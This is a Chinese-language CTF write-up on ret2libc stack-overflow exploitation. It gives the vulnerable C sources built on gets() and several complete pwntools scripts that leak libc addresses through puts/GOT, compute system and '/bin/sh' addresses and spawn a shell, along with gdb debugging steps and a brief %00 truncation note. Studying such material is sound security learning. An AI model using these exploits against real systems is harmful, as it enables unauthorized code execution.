#include <stdio.h>#include <stdlib.h>#include <time.h>char buf2[100];void secure(void){int secretcode, input;srand(time(NULL));secretcode = rand();scanf("%d", &input);if(input == secretcode)system("no_shell_QQ");}int main(void){setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stdin, 0LL, 1, 0LL);char buf1[100];printf("Something surprise here, but I don't think it will work.\n");printf("What do you think ?");gets(buf1);return 0;}
#!/usr/bin/env pythonfrom pwn import *sh = process("./ret2libc2")elf = ELF("./ret2libc2")system_addr = elf.plt["system"]gets_addr = elf.plt["gets"]buf2_addr = elf.symbols["buf2"]print(hex(system_addr))print(hex(gets_addr))print(hex(buf2_addr))payload = "A"*112+p32(gets_addr)+p32(system_addr)+p32(buf2_addr)+p32(buf2_addr)sh.sendline(payload)sh.sendline("/bin/sh\x00")sh.interactive()
#!/usr/bin/env pythonfrom pwn import *sh = process("./ret2libc2")elf = ELF("./ret2libc2")system_addr = elf.plt["system"]gets_addr = elf.plt["gets"]buf2_addr = elf.symbols["buf2"]pop_ebx_addr = 0x0804843dprint(hex(system_addr))print(hex(gets_addr))print(hex(buf2_addr))payload = "A"*112+p32(gets_addr)+p32(pop_ebx_addr)+p32(buf2_addr)+p32(system_addr)+"BBBB"+p32(buf2_addr)sh.sendline(payload)sh.sendline("sh\x00")sh.interactive()
#include <stdio.h>#include <stdlib.h>#include <time.h>char buf2[100];void secure(void){int secretcode, input;srand(time(NULL));secretcode = rand();scanf("%d", &input);if(input == secretcode)puts("no_shell_QQ");}int main(void){setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stdin, 0LL, 1, 0LL);char buf1[100];printf("No surprise anymore, system disappeard QQ.\n");printf("Can you find it !?");gets(buf1);return 0;}
第一步,先获取__libc_start_main的真实地址
#!/usr/bin/env pythonfrom pwn import *sh = process("./ret2libc3")elf = ELF("./ret2libc3")puts_plt=elf.plt['puts']libc_start_main_got=elf.got['__libc_start_main']#print(hex(puts_plt))#print(hex(libc_start_main_got))payload = "A"*112+p32(puts_plt)+"BBBB"+p32(libc_start_main_got)sh.sendlineafter('!?', payload)libc_start_main_addr=u32(sh.recv(4))print(hex(libc_start_main_addr))
#!/usr/bin/env pythonfrom pwn import *sh = process("./ret2libc3")elf = ELF("./ret2libc3")puts_plt=elf.plt['puts']puts_got=elf.got['puts']#print(hex(puts_plt))#print(hex(libc_start_main_got))payload = "A"*112+p32(puts_plt)+"BBBB"+p32(puts_got)sh.sendlineafter('!?', payload)libc_start_main_addr=u32(sh.recv(4))print(hex(libc_start_main_addr))
#!/usr/bin/env pythonfrom pwn import *sh = process("./ret2libc3")elf = ELF("./ret2libc3")puts_addr = 0xf7e50460libc_startmain_addr = 0xf7e01e30#libc6-i386_2.27-3ubuntu1.4_amd64libc_startmain = 0x018e30libc_puts = 0x67460libc_system = 0x03ce10libc_binsh = 0x17b88flibc_base = libc_startmain_addr - libc_startmainlibc_base2 = puts_addr - libc_putsprint(libc_base)print(libc_base2)system_addr = libc_base + libc_systembinsh_addr = libc_base + libc_binshpayload = "A"*112+p32(system_addr)+"BBBB"+p32(binsh_addr)sh.sendlineafter('!?', payload)sh.interactive()
#!/usr/bin/env pythonfrom pwn import *context.log_level = 'debug'sh = process("./ret2libc3")elf = ELF("./ret2libc3")puts_plt = elf.plt['puts']got_puts = elf.got['puts']main = elf.symbols['main']payload1 = "A"*112+p32(puts_plt)+p32(main)+p32(got_puts)sh.sendlineafter('!?', payload1)puts_addr = u32(sh.recv(4))print('puts_addr: '+hex(puts_addr))#libc6-i386_2.27-3ubuntu1.4_amd64libc_startmain = 0x018e30libc_puts = 0x67460libc_system = 0x03ce10libc_binsh = 0x17b88flibc_base = puts_addr - libc_putssystem_addr = libc_base + libc_systembinsh_addr = libc_base + libc_binshpayload2 = "A"*104+p32(system_addr)+"BBBB"+p32(binsh_addr)sh.sendlineafter('!?', payload2)sh.interactive()
此处唯一的疑惑点就是为什么第二次溢出只需要填充104个字节而不是112?这里需要gdb调试,比较麻烦,最后再讲。
除了我们手动在https://libc.blukat.me/上查询,还有一个本地的python库也可以帮我们完成查询,它叫LibcSearcher。
https://github.com/lieanu/LibcSearcher
安装后就可以参考CTF的标准答案进行溢出了,由于单个地址搜索会出现两个libc.so,所以中途要选择一下。
https://github.com/ctf-wiki/ctf-challenges/blob/e3096c90f0e240e19f905ac5670b0984fb1ff29e/pwn/stackoverflow/ret2libc/ret2libc3/exploit.py
我们回过头来用kali,发现kali不管是网站查询libc还是用LibcSearcher都无法帮助我们完成本地溢出,因此我们必须采取第三种方法,就是直接在本地的libc.so上找出puts/system/binsh等地址。这也是为什么CTF会提供一个libc.so的原因,这个libc.so就是远程溢出端口上使用的so,方便你直接研究它来确定地址,而不是非得用puts来泄露。
首先用ldd来确定kali上用的是哪个so,然后将其复制出来。
ldd ret2libc3
ls -alt /lib/i386-linux-gnu/libc.so.6
cp /lib/i386-linux-gnu/libc-2.33.so ./
#!/usr/bin/env pythonfrom pwn import *#context.log_level = 'debug'sh = process("./ret2libc3")elf = ELF("./ret2libc3")libc = ELF("./libc-2.33.so")puts_plt = elf.plt['puts']got_puts = elf.got['puts']got_libc_startmain = elf.got['__libc_start_main']main = elf.symbols['main']payload1 = flat( [b'A'*112, puts_plt, main, got_puts] )sh.sendlineafter('!?', payload1)puts_addr = u32(sh.recv(4))print('puts_addr: '+hex(puts_addr))#kalilibc_puts = libc.sym['puts']libc_system = libc.sym['system']libc_binsh = libc.search('/bin/sh').next()libc_base = puts_addr - libc_putssystem_addr = libc_base + libc_systembinsh_addr = libc_base + libc_binshpayload3 = flat( [b'A'*104, system_addr, 'BBBB', binsh_addr] )sh.sendlineafter('!?', payload3)sh.interactive()
最后再来解决104的问题,使用gdb来看看到底发生了什么。
还是像ret2stack一样,手动python,在gdb和python两者之间切换来调试。
python
from pwn import *
context.log_level = 'debug'
sh = gdb.debug("./ret2libc3")
gdb
b main(可能要输两次)
c
n
n
n
n(到交互的地方停下来)
python
elf = ELF("./ret2libc3")
libc = ELF("./libc-2.33.so")
puts_plt = elf.plt['puts']
got_puts = elf.got['puts']
got_libc_startmain = elf.got['__libc_start_main']
main = elf.symbols['main']
payload1 = flat( [b'A'*112, puts_plt, main, got_puts] )
sh.sendlineafter('!?', payload1)
puts_addr = u32(sh.recv(4))
gdb
stack 50
p/d 0xfface87c-0xfface80c
#!/usr/bin/env pythonfrom pwn import *#context.log_level = 'debug'#sh = gdb.debug("./ret2libc3")sh = process("./ret2libc3")elf = ELF("./ret2libc3")libc = ELF("./libc-2.33.so")puts_plt = elf.plt['puts']got_puts = elf.got['puts']got_libc_startmain = elf.got['__libc_start_main']main = elf.symbols['_start']payload1 = flat( [b'A'*112, puts_plt, main, got_puts] )sh.sendlineafter('!?', payload1)puts_addr = u32(sh.recv(4))print('puts_addr: '+hex(puts_addr))#kalilibc_puts = libc.sym['puts']libc_system = libc.sym['system']libc_binsh = libc.search('/bin/sh').next()libc_base = puts_addr - libc_putssystem_addr = libc_base + libc_systembinsh_addr = libc_base + libc_binshpayload3 = flat( [b'A'*112, system_addr, 'BBBB', binsh_addr] )sh.sendlineafter('!?', payload3)sh.interactive()
脑筋急转弯题。
ida64反编译
但题目确是要求strlen(buf)<64,strlen(unescaped)>64,转义函数并不能延长字符串。
所以要利用strlen的一个特性,%00截断(web选手简直太熟悉了,旧版php,旧版java都有的一个漏洞)。
理论上这里B换成其他任意字符填充都行,但0和A不行,未知原因,可能和unescape()处理有关。